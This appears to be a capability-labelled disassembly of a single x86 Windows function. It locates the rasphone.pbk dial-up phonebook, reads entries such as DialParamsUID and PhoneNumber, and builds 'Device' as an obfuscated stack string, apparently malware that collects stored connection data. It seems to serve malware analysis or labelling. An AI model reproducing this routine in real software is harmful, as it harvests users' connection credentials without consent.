Function at 0x10002ac5
Capabilities:
Check os version
Contain obfuscated stackstrings
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7d4
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.lstrcatA
mov edi, ecx
push str.KERNEL32.dll
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x1cc]
push 0x105
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.lstrcpyA
push str.KERNEL32.dll
call esi
push eax
call ebx
mov esi, eax
push str.Documents_and_Settings_
lea eax, [ebp - 0x1cc]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strchr]
pop ecx
inc eax
pop ecx
push eax
call esi
push dword [edi + 0x14]
lea eax, [ebp - 0x1cc]
push eax
call dword [ebp - 4]
lea eax, [ebp - 0x1cc]
push str.Application_DataMicrosoftNetworkConnectionspbk_rasphone.pbk
push eax
call dword [ebp - 4]
push 0
lea eax, [ebp - 0x2d4]
push 0x23
push eax
push 0
call dword [0x1001bea4]
lea eax, [ebp - 0x2d4]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
push eax
lea eax, [ebp - 0x2d4]
push 0x100190b0
push eax
call dword [0x1001bf30]
lea eax, [ebp - 0x1cc]
add esp, 0x10
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x2d4]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0xc4]
push eax
mov dword [ebp - 0xc4], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push 2
pop esi
cmp dword [ebp - 0xb4], esi
jne 0x10002bc2
cmp dword [ebp - 0xc0], 5
jb 0x10002bc2
mov ecx, edi
call fcn.10002991
mov ebx, 0x1000
push ebx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x30]
mov dword [ebp - 0x28], esi
pop ecx
mov dword [ebp - 0xc], eax
mov esi, 0x100
jmp 0x10002be6
mov ebx, 0x1000
push ebx
push 0
push dword [ebp - 0x10]
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 0xc]
add esp, 0xc
push dword [eax]
push ebx
mov ebx, dword [ebp - 0x10]
push ebx
call dword [0x1001c358]
mov eax, ebx
cmp byte [eax], 0
je 0x10002e0b
push ebx
mov ecx, edi
call fcn.10003005
mov dword [ebp - 0x24], eax
push esi
lea eax, [ebp - 0x3d4]
push 0
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x5d4]
push 0
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x6d4]
push 0
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x7d4]
push 0
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x4d4]
push 0
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 0xc]
add esp, 0x3c
push dword [eax]
lea eax, [ebp - 0x3d4]
push esi
push eax
push 0
push str.DialParamsUID
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jle 0x10002d2c
xor eax, eax
cmp dword [edi + 0x10], eax
mov dword [ebp - 8], eax
jle 0x10002d2c
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
add eax, dword [edi + 0x1c]
push eax
lea eax, [ebp - 0x3d4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x10002cc8
inc dword [ebp - 8]
add dword [ebp - 4], 0x301
mov eax, dword [ebp - 8]
cmp eax, dword [edi + 0x10]
jl 0x10002c9c
jmp 0x10002d2c
push str.lstrcpyA
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
imul eax, eax, 0x301
mov ecx, dword [edi + 0x1c]
mov dword [ebp - 8], eax
lea eax, [eax + ecx + 0x200]
push eax
lea eax, [ebp - 0x5d4]
push eax
call dword [ebp - 4]
mov eax, dword [edi + 0x1c]
mov ecx, dword [ebp - 8]
lea eax, [ecx + eax + 0x100]
push eax
lea eax, [ebp - 0x6d4]
push eax
call dword [ebp - 4]
mov eax, dword [edi + 0x1c]
mov ecx, dword [ebp - 8]
mov byte [ecx + eax + 0x300], 1
inc dword [edi + 8]
mov eax, dword [ebp - 0xc]
and byte [ebp - 0x14], 0
mov byte [ebp - 0x20], 0x44
mov byte [ebp - 0x1f], 0x65
push dword [eax]
lea eax, [ebp - 0x7d4]
mov byte [ebp - 0x1e], 0x76
mov byte [ebp - 0x1d], 0x69
push esi
push eax
push 0
push str.PhoneNumber
push ebx
mov byte [ebp - 0x1c], 0x63
mov byte [ebp - 0x1b], 0x65
mov byte [ebp - 0x1a], 0x44
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x76
mov byte [ebp - 0x17], 0x69
mov byte [ebp - 0x16], 0x63
mov byte [ebp - 0x15], 0x65
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov eax, dword [ebp - 0xc]
push dword [eax]
lea eax, [ebp - 0x4d4]
push esi
push eax
lea eax, [ebp - 0x20]
push 0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x4d4]
mov ecx, edi
push eax
call fcn.10003005
mov dword [ebp - 4], eax
lea eax, [ebp - 0x5d4]
push eax
mov ecx, edi
call fcn.10003005
push dword [ebp - 4]
lea ecx, [ebp - 0x7d4]
mov dword [ebp - 8], eax
push ecx
lea ecx, [ebp - 0x6d4]
push ecx
push eax
push dword [ebp - 0x24]
lea eax, [ebp - 0x3d4]
mov ecx, edi
push eax
call fcn.10002e28
push dword [ebp - 0x24]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [ebp - 8]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [ebp - 4]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [ebx + eax + 1], 0
lea ebx, [ebx + eax + 1]
jne 0x10002c0f
add dword [ebp - 0xc], 4
dec dword [ebp - 0x28]
jne 0x10002be1
push dword [ebp - 0x10]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop edi
pop esi
mov al, 1
pop ebx
leave
ret